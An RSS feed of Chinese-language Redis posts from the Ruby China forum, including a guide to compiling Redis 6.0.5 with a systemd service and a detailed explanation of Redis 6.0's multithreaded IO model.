<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Ruby China 社区 Redis 节点</title>
    <link>https://ruby-china.org/</link>
    <description>Ruby China 社区 Redis 节点最新发帖。</description>
    <item>
      <title>redis 编译安装和 systemd 配置</title>
      <description>&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;公司迁移服务器，目标是 redhat 的系统，记录下过程&lt;/p&gt;
&lt;h2 id="安装过程"&gt;安装过程&lt;/h2&gt;&lt;h3 id="下载"&gt;下载&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://redis.io/download" rel="nofollow" target="_blank"&gt;https://redis.io/download&lt;/a&gt;&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[root@localhost ~]# yum install wget
[root@localhost ~]# wget http://download.redis.io/releases/redis-6.0.5.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="解压并编译安装"&gt;解压并编译安装&lt;/h3&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tar -zxvf redis-6.0.5.tar.gz
cd redis-6.0.5

# 编译 并指定安装目录
make PREFIX=/usr/local/redis6.0.5 install
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="make 错误"&gt;make 错误&lt;/h3&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;In file included from server.c:30:0:
server.h:1045:5: error: expected specifier-qualifier-list before ‘_Atomic’
     _Atomic unsigned int lruclock; /* Clock for LRU eviction */
     ^
server.c: In function ‘serverLogRaw’:
server.c:1028:31: error: ‘struct redisServer’ has no member named ‘logfile’
     int log_to_stdout = server.logfile[0] == '\0';
                               ^
server.c:1031:23: error: ‘struct redisServer’ has no member named ‘verbosity’
     if (level &amp;lt; server.verbosity) return;
                       ^
server.c:1033:47: error: ‘struct redisServer’ has no member named ‘logfile’
     fp = log_to_stdout ? stdout : fopen(server.logfile,"a");
                                               ^
server.c:1046:47: error: ‘struct redisServer’ has no member named ‘timezone’
         nolocks_localtime(&amp;amp;tm,tv.tv_sec,server.timezone,server.daylight_active);
                                               ^
server.c:1046:63: error: ‘struct redisServer’ has no member named ‘daylight_active’
         nolocks_localtime(&amp;amp;tm,tv.tv_sec,server.timezone,server.daylight_active);
                                                               ^
server.c:1049:19: error: ‘struct redisServer’ has no member named ‘sentinel_mode’
         if (server.sentinel_mode) {
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="解决问题"&gt;解决问题&lt;/h3&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# 查看gcc版本是否在5.3以上，centos7.6默认安装4.8.5
gcc -v

# 升级gcc到5.3及以上,如下升级到gcc 9.3：
yum -y install centos-release-scl
yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils
scl enable devtoolset-9 bash

# 需要注意的是scl命令启用只是临时的，退出shell或重启就会恢复原系统gcc版本。

#如果要长期使用gcc 9.3的话：
echo "source /opt/rh/devtoolset-9/enable" &amp;gt;&amp;gt;~/.bash_profile
#应用
source ~/.bash_profile

以下其他版本同理，修改devtoolset版本号即可。
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="再次编译"&gt;再次编译&lt;/h3&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# 编译出错时，清出编译生成的文件
make distclean

# 编译 并指定安装目录
make PREFIX=/usr/local/redis6.0.5 install
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="看到下面的结果就说明安装成功"&gt;看到下面的结果就说明安装成功&lt;/h3&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;INSTALL redis-sentinel
    CC redis-cli.o
    LINK redis-cli
    CC redis-benchmark.o
    LINK redis-benchmark
    INSTALL redis-check-rdb
    INSTALL redis-check-aof

Hint: It's a good idea to run 'make test' ;)

    INSTALL install
    INSTALL install
    INSTALL install
    INSTALL install
    INSTALL install
make[1]: Leaving directory `/usr/local/redis-6.0.5/src'
&lt;/code&gt;&lt;/pre&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;## 创建配置文件目录
mkdir -p /usr/local/redis6.0.5/etc

cp ~/redis-6.0.5/redis.conf /usr/local/redis6.0.5/etc

# 将bin目录添加到环境变量中
export PATH=$PATH:/usr/local/redis6.0.5/bin

# 启动 redis服务
redis-server /usr/local/redis6.0.5/etc/redis.conf

# 关闭服务
redis-cli shutdown
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="配置系统服务"&gt;配置系统服务&lt;/h2&gt;&lt;h3 id="配置文件参数"&gt;配置文件参数&lt;/h3&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo vi /usr/local/redis6.0.5/etc/redis.conf
port 6379                           # 默认的端口
dir ./                              # 持久化文件存放路径
daemonize  no=&amp;gt;yes                          # 以守护进程启动
supervised no=&amp;gt;systemd         #以systemd控制启动
pidfile /var/run/redis_6379.pid     # pid文件路径
logfile ""                          # 日志文件路径
bind 0.0.0.0            # 远程连接
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="编写service文件"&gt;编写 service 文件&lt;/h3&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vi /etc/systemd/system/redis.service

[Unit]
Description=Redis6.0.5
After=redis6.service

[Service]
Type=forking
ExecStart=/usr/local/redis6.0.5/bin/redis-server /usr/local/redis6.0.5/etc/redis.conf 
ExecStop=/usr/local/redis6.0.5/bin/redis-cli shutdown
ExecReload=/bin/kill -s HUP $MAINPID
PrivateTmp=true
RestartSec=10
# The UNIX user and group to execute PostgreSQL as
User=redis
Group=db

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# 重新加载配置文件
systemctl daemon-reload

# 添加执行权限
chmod 754 /usr/systemd/system/redis.service

systemctl disable redis.service
systemctl enable redis.service

systemctl status redis.service
systemctl start redis.service
systemctl restart redis.service
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="开放端口"&gt;开放端口&lt;/h3&gt;
&lt;p&gt;我这里没有遇到过端口问题，但还是先记录吧。&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;firewall-cmd --add-port=6379/tcp --permanent               #永久添加6379端口例外(全局)
firewall-cmd --remove-port=6379/tcp --permanent            #永久删除6379端口例外(全局)
firewall-cmd --reload
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="连接其他redis"&gt;连接其他 redis&lt;/h3&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;redis-cli -h 192.168.43.32 -p 6379
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="常用的配置项"&gt;常用的配置项&lt;/h2&gt;
&lt;p&gt;列举 Redis 常用的配置项：
 &lt;strong&gt;daemonize&lt;/strong&gt; 如果需要将 Redis 服务以守护进程在后台运行，则把该项的值改为 yes
 &lt;strong&gt;pidfile&lt;/strong&gt; 配置多个 pid 的地址，默认在/var/run/redis/pid
 &lt;strong&gt;bind&lt;/strong&gt; 绑定 ip，设置后只接受来自该 ip 的请求
 &lt;strong&gt;port&lt;/strong&gt; 监听端口，默认是 6379
 &lt;strong&gt;timeout&lt;/strong&gt; 客户端连接超时的设定，单位是秒
 &lt;strong&gt;loglevel&lt;/strong&gt; 分为 4 级，debug、verbose、notice、warning
 &lt;strong&gt;logfile&lt;/strong&gt; 配置 log 文件地址
 &lt;strong&gt;databases&lt;/strong&gt; 设置数据库的个数，默认使用的数据库为 0
 &lt;strong&gt;save&lt;/strong&gt; 设置 redis 进行数据库镜像的频率
 &lt;strong&gt;rdbcompression&lt;/strong&gt; 在进行镜像备份时，是否进行压缩
 &lt;strong&gt;Dbfilename&lt;/strong&gt; 镜像备份文件的文件名
 &lt;strong&gt;Dir&lt;/strong&gt; 数据库镜像备份文件的存放路径
 &lt;strong&gt;Slaveof&lt;/strong&gt; 设置数据库为其他数据库的从数据库
 &lt;strong&gt;Masterauth&lt;/strong&gt; 主数据库连接需要的密码验证
 &lt;strong&gt;Requirepass&lt;/strong&gt; 设置登录时，需要使用的密码
 &lt;strong&gt;Maxclients&lt;/strong&gt; 设置同时连接的最大客户端数量
 &lt;strong&gt;Maxmemory&lt;/strong&gt; 设置 redis 能够使用的最大内存
 &lt;strong&gt;Appendonly&lt;/strong&gt; 开启 append only 模式
 &lt;strong&gt;Appendfsync&lt;/strong&gt; 设置对 appendonly.aof 文件同步的频率
 &lt;strong&gt;vm-enabled&lt;/strong&gt; 是否开启虚拟内存支持
 &lt;strong&gt;vm-swap-file&lt;/strong&gt; 设置虚拟内存的交换文件路径
 &lt;strong&gt;vm-max-memory&lt;/strong&gt; 设置 redis 能够使用的最大虚拟内存
 &lt;strong&gt;vm-page-size&lt;/strong&gt; 设置虚拟内存的页大小
 &lt;strong&gt;vm-pages&lt;/strong&gt; 设置交换文件的总的 page 数量
 &lt;strong&gt;vm-max-threads&lt;/strong&gt; 设置 VMIO 同时使用的线程数量
 &lt;strong&gt;Glueoutputbuf&lt;/strong&gt; 把小的输出缓存存放在一起
 &lt;strong&gt;hash-max-zipmap-entries&lt;/strong&gt; 设置 hash 的临界值
 &lt;strong&gt;Activerehashing&lt;/strong&gt; 重新 hash&lt;/p&gt;

&lt;p&gt;启动后如果使用 RedisDesktopManager 连接是不成功的，还需要设置密码和设置绑定&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#修改配置&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /usr/local/redis-4.0.11/
vim redis.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改里面的
 Requirepass yourpassword
 bind 0.0.0.0&lt;/p&gt;

&lt;p&gt;重新启动 Redis 即可！！！&lt;/p&gt;
&lt;h3 id="卸载Redis"&gt;卸载 Redis&lt;/h3&gt;
&lt;p&gt;停服务、删文件即可！&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#查看进程&lt;/span&gt;
ps aux |grep redis
&lt;span class="c"&gt;#杀掉进程&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nt"&gt;-9&lt;/span&gt; 进程号
&lt;span class="c"&gt;#查看相关文件&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"redis"&lt;/span&gt;
&lt;span class="c"&gt;#删除文件&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; 文件
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;h2 id="参考"&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://ncc0706.github.io/2020/05/21/db/redis/02.centos7-install-redis.6.0.3/" rel="nofollow" target="_blank"&gt;https://ncc0706.github.io/2020/05/21/db/redis/02.centos7-install-redis.6.0.3/&lt;/a&gt;&lt;/p&gt;</description>
      <author>clousky2020</author>
      <pubDate>Sat, 09 Jan 2021 11:09:38 +0800</pubDate>
      <link>https://ruby-china.org/topics/40793</link>
      <guid>https://ruby-china.org/topics/40793</guid>
    </item>
    <item>
      <title>Redis 6.0 多线程 IO 处理过程详解</title>
      <description>&lt;h2 id="引"&gt;引&lt;/h2&gt;
&lt;p&gt;大半年前，看到 Redis 即将推出“多线程 IO”的特性，基于当时的各种资料，和 unstable 分支的代码，写了&lt;a href="https://ruby-china.org/topics/38957" title=""&gt;《多线程的 Redis》&lt;/a&gt;，浅尝辄止地介绍了下特性，不够华也不实。本文将深入到实处，内容包含：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;介绍 Redis 单线程 IO 处理过程&lt;/li&gt;
&lt;li&gt;单线程的问题&lt;/li&gt;
&lt;li&gt;解析 Redis 多线程 IO 如何工作&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;要分析多线程 IO，必须先搞清楚经典的单线程异步 IO。文章会先介绍单线程 IO 的知识，然后再引出多线程 IO，如果已经熟悉，可以直接跳到多线程 IO 部分。&lt;/p&gt;

&lt;p&gt;接下来我们一起啃下这两块大骨头。代码基于： &lt;a href="https://github.com/antirez/redis/tree/6.0" rel="nofollow" target="_blank" title=""&gt;https://github.com/antirez/redis/tree/6.0&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="异步IO"&gt;异步 IO&lt;/h2&gt;
&lt;p&gt;Redis 核心的工作负荷是一个单线程在处理，但为什么还那么快？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;其一是纯内存操作。&lt;/li&gt;
&lt;li&gt;其二就是异步 IO，每个命令从接收到处理，再到返回，会经历多个“不连续”的工序。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(&lt;em&gt;为避免歧义，此处的异步处理 IO 不是“同步/异步 IO”，特指 IO 处理过程是异步的，描述的对象是处理过程。&lt;/em&gt;)&lt;/p&gt;

&lt;p&gt;假设客户端发送了以下命令：&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET key-how-to-be-a-better-man？
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;redis 回复：&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;努力加把劲把文章写完
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要处理命令，则 redis 必须完整地接收客户端的请求，并将命令解析出来，再将结果读出来，通过网络回写到客户端。整个工序分为以下几个部分：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;接收。通过 TCP 接收到命令，可能会历经多次 TCP 包、ack、IO 操作&lt;/li&gt;
&lt;li&gt;解析。将命令取出来&lt;/li&gt;
&lt;li&gt;执行。到对应的地方将 value 读出来&lt;/li&gt;
&lt;li&gt;返回。将 value 通过 TCP 返回给客户端，如果 value 较大，则 IO 负荷会更重&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其中解析和执行是纯 cpu/内存操作，而接收和返回主要是 IO 操作，这是我们要关注的重点。以接收为例，redis 要完整接收客户端命令，有两种策略：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;接收客户端命令时一直等，直到接收到完整的命令，然后执行，再将结果返回，直到客户端收到完整结果，然后才处理下一个命令。这叫&lt;strong&gt;同步&lt;/strong&gt;。同步的过程中有很多等待的时间，例如有个客户端网络不好，那等它完整的命令就会更耗时。&lt;/li&gt;
&lt;li&gt;客户端的 TCP 包来一个才处理一个，将数据追加到缓冲区，处理完了就去立即找其他事做，不等待，下一个 TCP 包来了再继续处理。命令的接收过程是穿插的，不连续。一会儿接收这个命令，一会儿又在接收另一个。这叫做&lt;em&gt;异步&lt;/em&gt;，过程中没有额外的空闲等待时间。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;用聊天的例子做对应，假设你在回答多个人的问题，也有同步和异步的策略：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;聊天框中显示“正在输入”时，你一直等 ta 输入完毕，然后回答 ta 的问题，再发送出去，发送时会有等待，常规表现就是有个圆圈在转。你等发送完毕后，才去回答另一个人的问题。同步&lt;/li&gt;
&lt;li&gt;显示“正在输入”时，不等 ta，而是去回答其他输入完毕的问题，回答完后，不等发送完毕，又去回答其它问题。异步&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;很显然异步的效率更高，要实现高并发必须要异步，因为同步有太多时间浪费在等待上了，遇到网络不好的客户端直接就被拖垮。异步的策略简单可总结如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;网络包有数据了，就去读一下放到缓冲区，读完立马切到其他事情上，不等下一个包&lt;/li&gt;
&lt;li&gt;解析下缓冲区数据是否完整。如完整则执行命令，不完整切到其他事情上&lt;/li&gt;
&lt;li&gt;数据完整了，立即执行命令，将执行结果放到缓冲区&lt;/li&gt;
&lt;li&gt;将数据给客户端，如果一次给不完，就等&lt;code&gt;下次能给时&lt;/code&gt;再给，不等，直到全部给完&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="事件驱动"&gt;事件驱动&lt;/h2&gt;
&lt;p&gt;异步没有零散的等待，但有个问题是，如果 redis 不一直阻塞等命令来，咋个知道“网络包有数据了”、“下次能给时”这两个时机？如果一直去轮训问肯定效率很低，要有个高效的机制，来通知 redis 这两个时刻，由这些时刻来触发动作。这就是事件驱动。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;一个新TCP包来了&lt;/code&gt;、&lt;code&gt;可以再次发给客户端数据&lt;/code&gt;这两个时机都是事件。与之对应的就是 redis 和客户端之间 socket 的可读、可写事件 [1] ，就像微信聊天中新消息提醒一样。linux 中的 epoll 就是干这个事的，redis 基于 epoll 等机制抽象出了一套事件驱动框架 [2]，整个 server 完全由事件驱动，有事件发生就处理，没有就空闲等待。&lt;/p&gt;
&lt;h2 id="单线程IO处理过程"&gt;单线程 IO 处理过程&lt;/h2&gt;
&lt;p&gt;redis 启动后会进入一个死循环 aeMain，在这个循环里一直等待事件发生，事件分为 IO 事件和 timer 事件，timer 事件是一些定时执行的任务，如 expire key 等，本文只聊 IO 事件。&lt;/p&gt;

&lt;p&gt;epoll 处理的是 socket 的可读、可写事件，当事件发生后提供一种高效的通知方式，当想要异步监听某个 socket 的读写事件时，需要去事件驱动框架中注册要监听事件的 socket，以及对应事件的回调 function。然后死循环中可以通过 epoll_wait 不断地去拿发生了可读写事件的 socket，依次处理即可。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;可读&lt;/code&gt;可以简单理解为，对应的 socket 中有新的 tcp 数据包到来。
&lt;code&gt;可写&lt;/code&gt;可以简单理解为，对应的 socket 写缓冲区已经空了 (数据通过网络已经发给了客户端)&lt;/p&gt;

&lt;p&gt;一图胜前言，完整、详细流程图如下：&lt;/p&gt;

&lt;p&gt;&lt;img src="https://l.ruby-china.com/photo/2020/6401851b-f967-4aca-8c5e-fbf2f05eeb45.png!large" title="" alt=""&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;aeMain() 内部是一个死循环，会在 epoll_wait 处短暂休眠&lt;/li&gt;
&lt;li&gt;epoll_wait 返回的是当前可读、可写的 socket 列表&lt;/li&gt;
&lt;li&gt;beforeSleep 是进入休眠前执行的逻辑，核心是回写数据到 socket&lt;/li&gt;
&lt;li&gt;核心逻辑都是由 IO 事件触发，要么可读，要么可写，否则执行 timer 定时任务&lt;/li&gt;
&lt;li&gt;第一次的 IO 可读事件，是监听 socket(如监听 6379 的 socket)，当有握手请求时，会执行 accept 调用，得到一个连接 socket，注册可读回调 createClient，往后客户端和 redis 的数据都通过这个 socket 进行&lt;/li&gt;
&lt;li&gt;一个完整的命令，可能会通过多次 readQueryFromClient 才能从 socket 读完，这意味这多次可读 IO 事件&lt;/li&gt;
&lt;li&gt;命令执行的结果会写，也是这样，大概率会通过多次可写回调才能写完&lt;/li&gt;
&lt;li&gt;当命令被执行完后，对应的连接会被追加到 clients_pending_write，beforeSleep 会尝试回写到 socket，写不完会注册可写事件，下次继续写&lt;/li&gt;
&lt;li&gt;整个过程 IO 全部都是同步非阻塞，没有浪费等待时间&lt;/li&gt;
&lt;li&gt;注册事件的函数叫 aeCreateFileEvent&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="单线程IO的瓶颈"&gt;单线程 IO 的瓶颈&lt;/h2&gt;
&lt;p&gt;上面详细梳理了单线程 IO 的处理过程，IO 都是非阻塞，没有浪费一丁点时间，虽然是单线程，但动辄能上 10W QPS。不过也就这水平了，难以提供更多的自行车。&lt;/p&gt;

&lt;p&gt;同时这个模型有几个缺陷：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;只能用一个 cpu 核 (忽略后台线程)&lt;/li&gt;
&lt;li&gt;如果 value 比较大，redis 的 QPS 会下降得很厉害，有时一个大 key 就可以拖垮&lt;/li&gt;
&lt;li&gt;QPS 难以更上一层楼&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;redis 主线程的时间消耗主要在两个方面：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;逻辑计算的消耗&lt;/li&gt;
&lt;li&gt;同步 IO 读写，拷贝数据导致的消耗&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;当 value 比较大时，瓶颈会先出现在同步 IO 上 (假设带宽和内存足够)，这部分消耗在于两部分：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;从 socket 中读取请求数据，会从内核态将数据拷贝到用户态（read 调用）&lt;/li&gt;
&lt;li&gt;将数据回写到 socket，会将数据从用户态拷贝到内核态（write 调用）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这部分数据读写会占用大量的 cpu 时间，也直接导致了瓶颈。如果能有多个线程来分担这部分消耗，那 redis 的吞吐量还能更上一层楼，这也是 redis 引入多线程 IO 的目的。[3]&lt;/p&gt;
&lt;h2 id="多线程IO"&gt;多线程 IO&lt;/h2&gt;
&lt;p&gt;上面已经梳理了单线程 IO 的处理流程，以及多线程 IO 要解决的问题，接下来将目光放到：如何用多线程分担 IO 的负荷。其做法用简单的话来说就是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;用一组单独的线程专门进行 read/write socket 读写调用（同步 IO）&lt;/li&gt;
&lt;li&gt;读回调函数中不再读数据，而是将对应的连接追加到可读 clients_pending_read 的链表&lt;/li&gt;
&lt;li&gt;主线程在 beforeSleep 中将 IO 读任务分给 IO 线程组&lt;/li&gt;
&lt;li&gt;主线程自己也处理一个 IO 读任务，并自旋式等 IO 线程组处理完，再继续往下&lt;/li&gt;
&lt;li&gt;主线程在 beforeSleep 中将 IO 写任务分给 IO 线程组&lt;/li&gt;
&lt;li&gt;主线程自己也处理一个 IO 写任务，并自旋式等 IO 线程组处理完，再继续往下&lt;/li&gt;
&lt;li&gt;IO 线程组要么同时在读，要么同时在写&lt;/li&gt;
&lt;li&gt;命令的执行由主线程串行执行 (保持单线程)&lt;/li&gt;
&lt;li&gt;IO 线程数量可配置&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;完整流程图如下：
&lt;img src="https://l.ruby-china.com/photo/2020/f464e541-0d40-48f3-965d-42c889753c6c.png!large" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;beforesleep 中，先让 IO 线程读数据，然后再让 IO 线程写数据。读写时，多线程能并发执行，利用多核。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;将读任务均匀分发到各个 IO 线程的任务链表 io_threads_list[i]，将 io_threads_pending[i] 设置为对应的任务数，此时 IO 线程将从死循环中被激活，开始执行任务，执行完毕后，会将 io_threads_pending[i] 清零。函数名为：handleClientsWithPendingReadsUsingThreads&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;将写任务均匀分发到各个 IO 线程的任务链表 io_threads_list[i]，将 io_threads_pending[i] 设置为对应的任务数，此时 IO 线程将从死循环中被激活，开始执行任务，执行完毕后，会将 io_threads_pending[i] 清零。函数名为：handleClientsWithPendingWritesUsingThreads&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;beforeSleep 中主线程也会执行其中一个任务 (图中忽略了)，执行完后自旋等待 IO 线程处理完。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;读任务要么在 beforeSleep 中被执行，要么在 IO 线程被执行，不会再在读回调中执行&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;写任务会分散到 beforeSleep、IO 线程、写回调中执行&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;主线程和 IO 线程交互是无锁的，通过标志位设置进行，不会同时写任务链表&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;性能据测试提升了一倍以上 (4 个 IO 线程)。 [4]&lt;/p&gt;

&lt;p&gt;欢迎您的提问、指正、建议等。&lt;a href="https://zhuanlan.zhihu.com/p/144805500" rel="nofollow" target="_blank" title=""&gt;首发在这里&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="参考"&gt;参考&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://www.cnblogs.com/my_life/articles/10910375.html" rel="nofollow" target="_blank" title=""&gt;https://www.cnblogs.com/my_life/articles/10910375.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/5SzbrBMpq-JowLfvfWNY-g" rel="nofollow" target="_blank"&gt;https://mp.weixin.qq.com/s/5SzbrBMpq-JowLfvfWNY-g&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.toutiao.com/a6816914695023231500/" rel="nofollow" target="_blank" title=""&gt;https://www.toutiao.com/a6816914695023231500/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.chainnews.com/articles/610212461536.htm" rel="nofollow" target="_blank" title=""&gt;https://www.chainnews.com/articles/610212461536.htm&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
      <author>early</author>
      <pubDate>Sun, 31 May 2020 02:01:57 +0800</pubDate>
      <link>https://ruby-china.org/topics/39925</link>
      <guid>https://ruby-china.org/topics/39925</guid>
    </item>
    <item>
      <title>使用单线程模型也并不意味着程序不能并发的处理任务，Redis 类似 node？</title>
      <description>&lt;p&gt;Redis 虽然使用单线程模型处理用户的请求，但是它却使用 I/O 多路复用机制并发处理来自客户端的多个连接，同时等待多个连接发送的请求。
在 I/O 多路复用模型中，最重要的函数调用就是 select 以及类似函数，该方法的能够同时监控多个文件描述符（也就是客户端的连接）的可读可写情况，当其中的某些文件描述符可读或者可写时，select 方法就会返回可读以及可写的文件描述符个数。
使用 I/O 多路复用技术能够极大地减少系统的开销，系统不再需要额外创建和维护进程和线程来监听来自客户端的大量连接，减少了服务器的开发成本和维护成本。
&lt;a href="https://draveness.me/whys-the-design-redis-single-thread" rel="nofollow" target="_blank"&gt;https://draveness.me/whys-the-design-redis-single-thread&lt;/a&gt;&lt;/p&gt;</description>
      <author>zzz6519003</author>
      <pubDate>Wed, 11 Dec 2019 21:56:50 +0800</pubDate>
      <link>https://ruby-china.org/topics/39318</link>
      <guid>https://ruby-china.org/topics/39318</guid>
    </item>
    <item>
      <title>基于 SSD 的 Redis KV 实现 kvrocks</title>
      <description>&lt;p&gt;美图开源的基于 SSD 的 Redis KV 实现 kvrocks &lt;a href="https://github.com/meitu/kvrocks" rel="nofollow" target="_blank"&gt;https://github.com/meitu/kvrocks&lt;/a&gt; , 目前在美图内部已经稳定运行一年，实例数达到 100+，外部使用用户有白山云等。&lt;/p&gt;

&lt;p&gt;kvrocks 主要是为了解决成本和容量问题，美图大数据之前有大量数据存储在全内存的 Redis 实例，在内存成本和实例数管理上都是比较大的压力。&lt;/p&gt;

&lt;p&gt;和 Pika 有什么不一样？&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;API 设计上更加兼容 Redis 原始语义，全部数据类型在同一个 DB, 不允许同一个 key 在不同类型中重复出现。&lt;/li&gt;
&lt;li&gt;支持 Namespace 对不同业务数据做隔离&lt;/li&gt;
&lt;li&gt;主从同步不适用 Rsync, 同步设计简单且问题定位也简单&lt;/li&gt;
&lt;li&gt;支持对慢请求 profiling，问题定位更加简单&lt;/li&gt;
&lt;li&gt;代码更加简洁 (主观看法)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;欢迎大家使用和提问题，更加欢迎 PR&lt;/p&gt;</description>
      <author>hulk</author>
      <pubDate>Tue, 10 Dec 2019 10:15:02 +0800</pubDate>
      <link>https://ruby-china.org/topics/39312</link>
      <guid>https://ruby-china.org/topics/39312</guid>
    </item>
    <item>
      <title>多线程的 Redis</title>
      <description>&lt;p&gt;今年年底将要发布的 Redis6.0 会支持“多线程”，消息已经通过官方渠道发出。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://antirez.com/news/126" rel="nofollow" target="_blank"&gt;http://antirez.com/news/126&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/antirez/redis/tree/unstable" rel="nofollow" target="_blank"&gt;https://github.com/antirez/redis/tree/unstable&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其实严格意义上来讲，Redis 并不是单线程。它也有后台线程在工作，处理一些较为缓慢的操作，例如无用连接的释放、大 key 的删除等等。&lt;/p&gt;

&lt;p&gt;但是客户端命令的请求获取 (socket 读)、解析、执行、内容返回 (socket 写) 等等都是由一个线程处理，所有操作是一个个挨着串行执行的 (主线程)，这也是 Redis 有“单线程”定义的来源。&lt;/p&gt;

&lt;p&gt;单线程机制使得 Redis 内部实现的复杂度大大降低，Hash 的惰性 Rehash、Lpush 等等“线程不安全”的命令都可以无锁进行。&lt;/p&gt;

&lt;p&gt;但是这套机制也使得 Redis 的 QPS 难以更上一层楼。Redis 本身的数据结构设计，内存管理已经做得接近尽善尽美。要 Redis 单机性能进一步提升，引入多线程并发处理任务是最直观的方案之一，和 memcached 对齐。&lt;/p&gt;

&lt;p&gt;多线程的机制有两大直观优点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;可以充分利用服务器 CPU 资源，目前主线程只能利用一个核&lt;/li&gt;
&lt;li&gt;多线程任务可以分摊 Redis 同步 IO 读写负荷&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;第一点，多线程执行提高并发度，进而提升 QPS 比较好理解。第二点需要单独做下解释。&lt;/p&gt;

&lt;p&gt;常规情况下，Redis 使用的是同步非阻塞 IO，通过多路复用机制 (linux 上用 epoll) 封装成事件驱动机制。非阻塞 IO 在调用时不会导致进程因为等待 IO 事件而阻塞，通过 epoll 的机制，在 IO 事件发生时通过异步的方式通知用户态进程处理，这点极大地提高了 IO 的处理效率，事件模型大概如下：
